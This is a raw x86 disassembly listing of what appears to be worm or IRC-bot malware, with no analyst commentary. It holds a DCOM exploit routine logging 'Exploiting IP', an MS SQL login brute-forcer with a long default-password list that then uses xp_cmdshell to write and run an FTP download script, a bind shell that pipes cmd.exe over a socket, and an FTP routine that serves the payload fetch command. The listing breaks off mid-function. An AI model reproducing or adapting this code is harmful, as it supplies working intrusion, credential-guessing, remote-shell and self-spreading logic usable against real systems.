arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 5214h
call sub_4181D0
push ebx
push esi
push edi
lea eax, [ebp+arg_4]
push 1
push eax
call sub_41178F
pop ecx
test eax, eax
pop ecx
jz loc_40C357
cmp eax, 1
jz loc_40C357
push 0
push 1
push 2
call dword_4D66E8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_40C357
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_A0]
call dword_4D6668 ; ntohs
mov [ebp+var_12], ax
lea eax, [ebp+arg_4]
push eax
call dword_4D66A8 ; inet_addr
push offset byte_4370EC
mov [ebp+var_10], eax
push [ebp+arg_0]
call sub_408882
pop ecx
mov esi, 1000h
push eax
lea eax, [ebp+var_5214]
push esi
push eax
call sub_4094DA
add esp, 10h
mov [ebp+var_4], eax
test eax, eax
jz loc_40C357
push 122h
push offset aS_13 ; "è"
lea eax, [ebp+var_4214]
push esi
push eax
call sub_409562
mov ebx, eax
push 25Ch
lea eax, [ebp+var_2214]
push offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\"
push eax
call sub_419330
lea eax, [ebp+var_4214]
push ebx
push eax
lea eax, [ebp+var_21F0]
push eax
call sub_419330
push [ebp+var_4]
lea eax, [ebp+var_5214]
push eax
lea eax, [ebp+var_21F0]
push eax
call sub_419330
push 4
lea eax, [ebp+var_1FE0]
push (offset loc_4404EF+1)
push eax
call sub_419330
add esp, 40h
lea eax, [ebp+var_1FDC]
push 4
push (offset loc_4404EB+1)
push eax
call sub_419330
mov eax, 12Eh
add esp, 0Ch
add [ebp+var_EB4], eax
add [ebp+var_EAC], eax
mov eax, 250h
push 10h
add [ebp+var_120C], eax
add [ebp+var_1204], eax
add [ebp+var_1194], eax
add [ebp+var_1190], eax
add [ebp+var_1160], eax
add [ebp+var_115C], eax
add [ebp+var_1144], eax
add [ebp+var_1088], eax
lea eax, [ebp+var_14]
push eax
push edi
call dword_4D6610 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40C2F3
loc_40C2F0: ; CODE XREF: sub_40C16C+19Bj
; sub_40C16C+1B4j ...
push edi
jmp short loc_40C351
; ---------------------------------------------------------------------------
loc_40C2F3: ; CODE XREF: sub_40C16C+182j
xor ebx, ebx
push ebx
push 48h
push offset dword_43FE50
push edi
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40C2F0
push ebx
lea eax, [ebp+var_3214]
push esi
push eax
push edi
call dword_4D6680 ; recv
cmp [ebp+var_3212], 0Ch
jnz short loc_40C2F0
push ebx
lea eax, [ebp+var_1214]
push ebx
push eax
push edi
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40C2F0
push ebx
lea eax, [ebp+var_3214]
push esi
push eax
push edi
call dword_4D6680 ; recv
cmp [ebp+var_3212], 3
push edi
jnz short loc_40C35E
loc_40C351: ; CODE XREF: sub_40C16C+185j
call dword_4D6700 ; closesocket
loc_40C357: ; CODE XREF: sub_40C16C+1Fj
; sub_40C16C+28j ...
xor eax, eax
loc_40C359: ; CODE XREF: sub_40C16C+2A3j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40C35E: ; CODE XREF: sub_40C16C+1E3j
call dword_4D6700 ; closesocket
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_214]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_417CB0
add esp, 0Ch
xor esi, esi
loc_40C37E: ; CODE XREF: sub_40C16C+232j
lea eax, [ebp+var_214]
push eax
call sub_40FAA5
test eax, eax
pop ecx
jnz short loc_40C3A2
push 1388h
call dword_4E033C ; Sleep
inc esi
cmp esi, 6
jl short loc_40C37E
jmp short loc_40C40C
; ---------------------------------------------------------------------------
loc_40C3A2: ; CODE XREF: sub_40C16C+221j
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
shl eax, 6
add eax, offset aDcom2135_0 ; "Dcom2-135"
push eax
lea eax, [ebp+var_214]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_417CB0
add esp, 10h
cmp [ebp+arg_B4], ebx
jnz short loc_40C3EE
push ebx
lea eax, [ebp+var_214]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_40C3EE: ; CODE XREF: sub_40C16C+263j
lea eax, [ebp+var_214]
push eax
call sub_40F927
mov eax, [ebp+arg_A8]
pop ecx
shl eax, 6
lea eax, dword_43F070[eax]
inc dword ptr [eax]
loc_40C40C: ; CODE XREF: sub_40C16C+234j
xor eax, eax
inc eax
jmp loc_40C359
sub_40C16C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1060h
call sub_4181D0
mov al, byte_4D9384
push ebx
push esi
mov esi, offset aSa ; "sa"
xor ebx, ebx
mov [ebp-1], al
mov [ebp-30h], esi
mov dword ptr [ebp-2Ch], offset aRoot ; "root"
mov dword ptr [ebp-28h], offset aAdmin ; "admin"
mov [ebp-24h], ebx
mov dword ptr [ebp-260h], offset byte_4D9385
mov dword ptr [ebp-25Ch], offset aAdministrator ; "administrator"
mov dword ptr [ebp-258h], offset aAdministrador ; "administrador"
mov dword ptr [ebp-254h], offset aAdministrateur ; "administrateur"
mov dword ptr [ebp-250h], offset aAdministrat ; "administrat"
mov dword ptr [ebp-24Ch], offset aAdmins ; "admins"
mov dword ptr [ebp-248h], offset aAdmin_0 ; "admin"
mov dword ptr [ebp-244h], offset aAdm ; "adm"
mov dword ptr [ebp-240h], offset aPassword1 ; "password1"
mov dword ptr [ebp-23Ch], offset aPassword ; "password"
mov dword ptr [ebp-238h], offset aPasswd ; "passwd"
mov dword ptr [ebp-234h], offset aPass1234 ; "pass1234"
mov dword ptr [ebp-230h], offset aPass ; "pass"
mov dword ptr [ebp-22Ch], offset aPwd ; "pwd"
mov dword ptr [ebp-228h], offset a007 ; "007"
mov dword ptr [ebp-224h], offset a1 ; "1"
mov dword ptr [ebp-220h], offset a12 ; "12"
mov dword ptr [ebp-21Ch], offset a123 ; "123"
mov dword ptr [ebp-218h], offset a1234 ; "1234"
mov dword ptr [ebp-214h], offset a12345 ; "12345"
mov dword ptr [ebp-210h], offset a123456 ; "123456"
mov dword ptr [ebp-20Ch], offset a1234567 ; "1234567"
mov dword ptr [ebp-208h], offset a12345678 ; "12345678"
mov dword ptr [ebp-204h], offset a123456789 ; "123456789"
mov dword ptr [ebp-200h], offset a1234567890 ; "1234567890"
mov dword ptr [ebp-1FCh], offset a2000 ; "2000"
mov dword ptr [ebp-1F8h], offset a2001 ; "2001"
mov dword ptr [ebp-1F4h], offset a2002 ; "2002"
mov dword ptr [ebp-1F0h], offset a2003 ; "2003"
mov dword ptr [ebp-1ECh], offset a2004 ; "2004"
mov dword ptr [ebp-1E8h], offset aTest ; "test"
mov dword ptr [ebp-1E4h], offset aGuest ; "guest"
mov dword ptr [ebp-1E0h], offset aNone ; "none"
mov dword ptr [ebp-1DCh], offset aDemo ; "demo"
mov dword ptr [ebp-1D8h], offset aUnix ; "unix"
mov dword ptr [ebp-1D4h], offset aLinux ; "linux"
mov dword ptr [ebp-1D0h], offset aChangeme ; "changeme"
mov dword ptr [ebp-1CCh], offset aDefault ; "default"
mov dword ptr [ebp-1C8h], offset aSystem ; "system"
mov dword ptr [ebp-1C4h], offset aServer_1 ; "server"
mov dword ptr [ebp-1C0h], offset aRoot_0 ; "root"
mov dword ptr [ebp-1BCh], offset aNull ; "null"
mov dword ptr [ebp-1B8h], offset aQwerty ; "qwerty"
mov dword ptr [ebp-1B4h], offset aMail ; "mail"
mov dword ptr [ebp-1B0h], offset aOutlook ; "outlook"
mov dword ptr [ebp-1ACh], offset aWeb ; "web"
mov dword ptr [ebp-1A8h], offset aWww ; "www"
mov dword ptr [ebp-1A4h], offset aInternet ; "internet"
mov dword ptr [ebp-1A0h], offset aAccounts ; "accounts"
mov dword ptr [ebp-19Ch], offset aAccounting ; "accounting"
mov dword ptr [ebp-198h], offset aHome ; "home"
mov dword ptr [ebp-194h], offset aHomeuser ; "homeuser"
mov dword ptr [ebp-190h], offset aUser_1 ; "user"
mov dword ptr [ebp-18Ch], offset aOem ; "oem"
mov dword ptr [ebp-188h], offset aOemuser ; "oemuser"
mov dword ptr [ebp-184h], offset aOeminstall ; "oeminstall"
mov dword ptr [ebp-180h], offset aWindows ; "windows"
mov dword ptr [ebp-17Ch], offset aWin98 ; "win98"
mov dword ptr [ebp-178h], offset aWin2k ; "win2k"
mov dword ptr [ebp-174h], offset aWinxp ; "winxp"
mov dword ptr [ebp-170h], offset aWinnt ; "winnt"
mov dword ptr [ebp-16Ch], offset aWin2000 ; "win2000"
mov dword ptr [ebp-168h], offset aQaz ; "qaz"
mov dword ptr [ebp-164h], offset aAsd ; "asd"
mov dword ptr [ebp-160h], offset aZxc ; "zxc"
mov dword ptr [ebp-15Ch], offset aQwe ; "qwe"
mov dword ptr [ebp-158h], offset aBob ; "bob"
mov dword ptr [ebp-154h], offset aJen ; "jen"
mov dword ptr [ebp-150h], offset aJoe ; "joe"
lea eax, [ebp-14h]
mov dword ptr [ebp-14Ch], offset aFred ; "fred"
push eax
push ebx
push 1
mov dword ptr [ebp-148h], offset aBill ; "bill"
mov dword ptr [ebp-144h], offset aMike ; "mike"
mov dword ptr [ebp-140h], offset aJohn ; "john"
mov dword ptr [ebp-13Ch], offset aPeter ; "peter"
mov dword ptr [ebp-138h], offset aLuke ; "luke"
mov dword ptr [ebp-134h], offset aSam ; "sam"
mov dword ptr [ebp-130h], offset aSue ; "sue"
mov dword ptr [ebp-12Ch], offset aSusan ; "susan"
mov dword ptr [ebp-128h], offset aPeter_0 ; "peter"
mov dword ptr [ebp-124h], offset aBrian ; "brian"
mov dword ptr [ebp-120h], offset aLee ; "lee"
mov dword ptr [ebp-11Ch], offset aNeil ; "neil"
mov dword ptr [ebp-118h], offset aIan ; "ian"
mov dword ptr [ebp-114h], offset aChris ; "chris"
mov dword ptr [ebp-110h], offset aEric ; "eric"
mov dword ptr [ebp-10Ch], offset aGeorge ; "george"
mov dword ptr [ebp-108h], offset aKate ; "kate"
mov dword ptr [ebp-104h], offset aBob_0 ; "bob"
mov dword ptr [ebp-100h], offset aKatie ; "katie"
mov dword ptr [ebp-0FCh], offset aMary ; "mary"
mov dword ptr [ebp-0F8h], offset aLogin_0 ; "login"
mov dword ptr [ebp-0F4h], offset aLoginpass ; "loginpass"
mov dword ptr [ebp-0F0h], offset aTechnical ; "technical"
mov dword ptr [ebp-0ECh], offset aBackup ; "backup"
mov dword ptr [ebp-0E8h], offset aExchange ; "exchange"
mov dword ptr [ebp-0E4h], offset aFuck ; "fuck"
mov dword ptr [ebp-0E0h], offset aBitch ; "bitch"
mov dword ptr [ebp-0DCh], offset aSlut ; "slut"
mov dword ptr [ebp-0D8h], offset aSex ; "sex"
mov dword ptr [ebp-0D4h], offset aGod ; "god"
mov dword ptr [ebp-0D0h], offset aHell ; "hell"
mov dword ptr [ebp-0CCh], offset aHello ; "hello"
mov dword ptr [ebp-0C8h], offset aDomain ; "domain"
mov dword ptr [ebp-0C4h], offset aDomainpass ; "domainpass"
mov dword ptr [ebp-0C0h], offset aDomainpassword ; "domainpassword"
mov dword ptr [ebp-0BCh], offset aDatabase ; "database"
mov dword ptr [ebp-0B8h], offset aAccess ; "access"
mov dword ptr [ebp-0B4h], offset aDbpass ; "dbpass"
mov dword ptr [ebp-0B0h], offset aDbpassword ; "dbpassword"
mov dword ptr [ebp-0ACh], offset aDatabasepass ; "databasepass"
mov dword ptr [ebp-0A8h], offset aData ; "data"
mov dword ptr [ebp-0A4h], offset aDatabasepasswo ; "databasepassword"
mov dword ptr [ebp-0A0h], offset aDb1 ; "db1"
mov dword ptr [ebp-9Ch], offset aDb2 ; "db2"
mov dword ptr [ebp-98h], offset aDb1234 ; "db1234"
mov dword ptr [ebp-94h], offset aSa_0 ; "sa"
mov dword ptr [ebp-90h], offset aSql ; "sql"
mov dword ptr [ebp-8Ch], offset aSqlpassoainsta ; "sqlpassoainstall"
mov dword ptr [ebp-88h], offset aOrainstall ; "orainstall"
mov dword ptr [ebp-84h], offset aOracle ; "oracle"
mov dword ptr [ebp-80h], offset aIbm ; "ibm"
mov dword ptr [ebp-7Ch], offset aCisco ; "cisco"
mov dword ptr [ebp-78h], offset aDell ; "dell"
mov dword ptr [ebp-74h], offset aCompaq ; "compaq"
mov dword ptr [ebp-70h], offset aSiemens ; "siemens"
mov dword ptr [ebp-6Ch], offset aHp ; "hp"
mov dword ptr [ebp-68h], offset aNokia ; "nokia"
mov dword ptr [ebp-64h], offset aXp ; "xp"
mov dword ptr [ebp-60h], offset aControl ; "control"
mov dword ptr [ebp-5Ch], offset aOffice ; "office"
mov dword ptr [ebp-58h], offset aBlank ; "blank"
mov dword ptr [ebp-54h], offset aWinpass ; "winpass"
mov dword ptr [ebp-50h], offset aMain ; "main"
mov dword ptr [ebp-4Ch], offset aLan ; "lan"
mov dword ptr [ebp-48h], offset aInternet_0 ; "internet"
mov dword ptr [ebp-44h], offset aIntranet ; "intranet"
mov dword ptr [ebp-40h], offset aStudent ; "student"
mov dword ptr [ebp-3Ch], offset aTeacher ; "teacher"
mov dword ptr [ebp-38h], offset aStaff ; "staff"
mov [ebp-34h], ebx
mov [ebp-1Ch], ebx
mov [ebp-0Ch], ebx
mov [ebp-10h], ebx
call dword_4D65E4
test ax, ax
jnz short loc_40C9B0
push 0FFFFFFFAh
push 3
push 0C8h
push dword ptr [ebp-14h]
call dword_4D66F0
test ax, ax
jz short loc_40C9B7
loc_40C9B0: ; CODE XREF: .data:0040C997j
xor eax, eax
jmp loc_40CBD7
; ---------------------------------------------------------------------------
loc_40C9B7: ; CODE XREF: .data:0040C9AEj
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-14h]
push 2
call dword_4D65E4
test ax, ax
jnz loc_40CBCA
push edi
mov edi, dword_4E033C
mov [ebp-8], ebx
mov [ebp-18h], esi
loc_40C9DC: ; CODE XREF: .data:0040CB26j
xor esi, esi
mov eax, offset byte_4D9385
loc_40C9E3: ; CODE XREF: .data:0040CA55j
lea ecx, [ebp-1]
push ecx
push eax
push dword ptr [ebp-18h]
lea eax, [ebp+0Ch]
push dword ptr [ebp+0A8h]
push eax
lea eax, [ebp-0C60h]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_417CB0
add esp, 1Ch
lea eax, [ebp-1Eh]
push ebx
push eax
lea eax, [ebp-1060h]
push 400h
push eax
lea eax, [ebp-0C60h]
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp-0C60h]
push eax
push ebx
push dword ptr [ebp-0Ch]
call dword_4D66A4
cmp ax, bx
jz short loc_40CA5C
cmp ax, 1
jz short loc_40CA5C
push 1F4h
call edi ; Sleep
mov eax, [ebp+esi*4-25Ch]
inc esi
cmp eax, ebx
jnz short loc_40C9E3
jmp loc_40CB17
; ---------------------------------------------------------------------------
loc_40CA5C: ; CODE XREF: .data:0040CA3Cj
; .data:0040CA42j
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-0Ch]
push 3
call dword_4D65E4
mov eax, offset byte_4370EC
push eax
push eax
call sub_417DC0
push eax
call sub_417DC0
push eax
push dword_4D63A0
push dword ptr [ebp+8]
call sub_408882
pop ecx
push eax
lea eax, [ebp-860h]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_417CB0
add esp, 20h
lea eax, [ebp-860h]
push 0FFFFFFFDh
push eax
push dword ptr [ebp-10h]
call dword_4D662C
test ax, ax
jz short loc_40CB0C
push 1388h
call edi ; Sleep
push offset byte_4370EC
lea eax, [ebp-860h]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_417CB0
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-460h]
push offset dword_440AB8
push eax
call sub_417CB0
add esp, 18h
lea eax, [ebp-860h]
push 0FFFFFFFDh
push eax
push dword ptr [ebp-10h]
call dword_4D662C
test ax, ax
jz short loc_40CB31
push 1388h
call edi ; Sleep
loc_40CB0C: ; CODE XREF: .data:0040CAB7j
push dword ptr [ebp-10h]
push 3
call dword_4D6684
loc_40CB17: ; CODE XREF: .data:0040CA57j
inc dword ptr [ebp-8]
mov eax, [ebp-8]
mov eax, [ebp+eax*4-30h]
cmp eax, ebx
mov [ebp-18h], eax
jnz loc_40C9DC
jmp loc_40CBBB
; ---------------------------------------------------------------------------
loc_40CB31: ; CODE XREF: .data:0040CB03j
push dword ptr [ebp+esi*4-260h]
mov eax, [ebp-8]
mov dword ptr [ebp-1Ch], 1
push dword ptr [ebp+eax*4-30h]
lea eax, [ebp+0Ch]
push dword ptr [ebp+0A8h]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aDcom2135_0 ; "Dcom2-135"
push eax
push offset unk_440AD4
lea eax, [ebp-460h]
push 200h
push eax
call sub_417E80
add esp, 20h
cmp [ebp+0BCh], ebx
jnz short loc_40CB9D
push ebx
lea eax, [ebp-460h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40764A
add esp, 14h
loc_40CB9D: ; CODE XREF: .data:0040CB7Ej
lea eax, [ebp-460h]
push eax
call sub_40F927
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
lea eax, dword_43F070[eax]
inc dword ptr [eax]
loc_40CBBB: ; CODE XREF: .data:0040CB2Cj
push dword ptr [ebp-0Ch]
push 2
call dword_4D6684
mov ebx, [ebp-1Ch]
pop edi
loc_40CBCA: ; CODE XREF: .data:0040C9C9j
push dword ptr [ebp-14h]
push 1
call dword_4D6684
mov eax, ebx
loc_40CBD7: ; CODE XREF: .data:0040C9B2j
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40CBDB proc near ; DATA XREF: sub_40CC69+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40CBE4: ; CODE XREF: sub_40CBDB+25j
; sub_40CBDB+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4D9398
call dword_4D6680 ; recv
test eax, eax
jle short loc_40CBE4
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4D9394
call dword_4E03B4 ; WriteFile
jmp short loc_40CBE4
sub_40CBDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40CC1E proc near ; DATA XREF: sub_40CC69+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40CC27: ; CODE XREF: sub_40CC1E+2Fj
; sub_40CC1E+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4D9388
call dword_4E03B8 ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40CC27
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4D9398
call dword_4D66B8 ; send
jmp short loc_40CC27
sub_40CC1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40CC69 proc near ; DATA XREF: sub_401C87+26D8o
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
xor esi, esi
xor edi, edi
inc esi
push 10h
mov [eax+98h], esi
lea eax, [ebp+var_38]
push edi
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_38], 2
push [ebp+var_98]
call dword_4D6668 ; ntohs
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4D66E8 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+var_38]
push 10h
push eax
push [ebp+arg_0]
call dword_4D6694 ; bind
push 5
push [ebp+arg_0]
call dword_4D6690 ; listen
mov ebx, dword_4E03C8
mov esi, dword_4E032C
loc_40CCE9: ; CODE XREF: sub_40CC69+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4D66FC ; accept
mov dword_4D9398, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4D9394
push offset dword_4D9390
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4D938C
push offset dword_4D9388
call ebx ; CreatePipe
push 44h
lea eax, [ebp+var_7C]
push edi
push eax
call sub_417700
mov eax, dword_4D9390
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4D938C
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call dword_4E03C4 ; GetCurrentProcess
push eax
push dword_4D938C
call dword_4E03C4 ; GetCurrentProcess
push eax
call dword_4E03C0 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call dword_4E0330 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40CC1E
lea eax, [ebp+var_C]
push edi
push eax
call dword_4E0340 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40CBDB
lea eax, [ebp+var_C]
push edi
push eax
call dword_4E0340 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call dword_4E0364 ; WaitForSingleObject
push edi
push [ebp+var_10]
call dword_4E0378 ; TerminateThread
push edi
push [ebp+var_14]
call dword_4E0378 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call dword_4E03BC ; TerminateProcess
push dword_4D9390
call esi ; CloseHandle
push dword_4D9394
call esi ; CloseHandle
push dword_4D9388
call esi ; CloseHandle
push dword_4D938C
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40CCE9
sub_40CC69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40CE39 proc near ; DATA XREF: .data:0043700Co
jmp $+5
sub_40CE39 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40CE3E proc near
push 0FFFEh
push 400h
call sub_412243
pop ecx
mov dword_4D939C, eax
pop ecx
retn
sub_40CE3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE55 proc near ; DATA XREF: sub_40A01B+352o
var_6C0 = byte ptr -6C0h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 10h
mov [eax+98h], esi
lea eax, [ebp+var_14]
push ebx
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_A4]
call dword_4D6668 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4D66E8 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40CEFC
cmp [ebp+var_1C], ebx
jnz short loc_40CEDC
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_40764A
add esp, 14h
loc_40CEDC: ; CODE XREF: sub_40CE55+65j
lea eax, [ebp+var_2C0]
push eax
call sub_40F927
push [ebp+var_AC]
call sub_409979
pop ecx
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
loc_40CEFC: ; CODE XREF: sub_40CE55+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_4495AC[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4D6694 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40CFF7
call dword_4D65FC ; WSAGetLastError
cmp eax, 2740h
jz short loc_40CF7C
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40CF5C
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_40764A
add esp, 14h
loc_40CF5C: ; CODE XREF: sub_40CE55+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_40F927
push [ebp+var_AC]
call sub_409979
pop ecx
pop ecx
push esi
call dword_4E03A0 ; ExitThread
loc_40CF7C: ; CODE XREF: sub_40CE55+DEj
push 0FFFEh
push ebx
call sub_412243
pop ecx
mov dword_4D939C, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4D6694 ; bind
cmp eax, esi
jnz short loc_40CFF7
call dword_4D65FC ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40CFD7
cmp eax, 2740h
jz short loc_40CFD7
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_40764A
add esp, 14h
loc_40CFD7: ; CODE XREF: sub_40CE55+159j
; sub_40CE55+160j
lea eax, [ebp+var_2C0]
push eax
call sub_40F927
push [ebp+var_AC]
call sub_409979
pop ecx
pop ecx
push esi
call dword_4E03A0 ; ExitThread
loc_40CFF7: ; CODE XREF: sub_40CE55+CDj
; sub_40CE55+14Cj
push 5
push edi
call dword_4D6690 ; listen
cmp eax, esi
jz loc_40D0DC
mov [ebp+var_4], 10h
mov esi, offset byte_4370EC
loc_40D014: ; CODE XREF: sub_40CE55+1D7j
; sub_40CE55+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4D66FC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40D014
cmp [ebp+var_1C], 0
jnz short loc_40D055
push 0
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_40764A
add esp, 14h
loc_40D055: ; CODE XREF: sub_40CE55+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_40F927
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4D6680 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40D014
push esi
push esi
push dword_4D63A0
push [ebp+var_B0]
call sub_408882
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+var_6C0]
push ebx
push eax
call sub_417E80
add esp, 1Ch
lea eax, [ebp+var_6C0]
push 0
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_6C0]
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jz loc_40D014
inc dword_4D93A0
jmp loc_40D014
; ---------------------------------------------------------------------------
loc_40D0DC: ; CODE XREF: sub_40CE55+1ADj
push edi
call dword_4D6700 ; closesocket
push [ebp+var_AC]
call sub_409979
pop ecx
push 0
call dword_4E03A0 ; ExitThread
sub_40CE55 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D0F7 proc near ; DATA XREF: sub_40A01B+22Bo
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_138 = byte ptr -138h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = byte ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
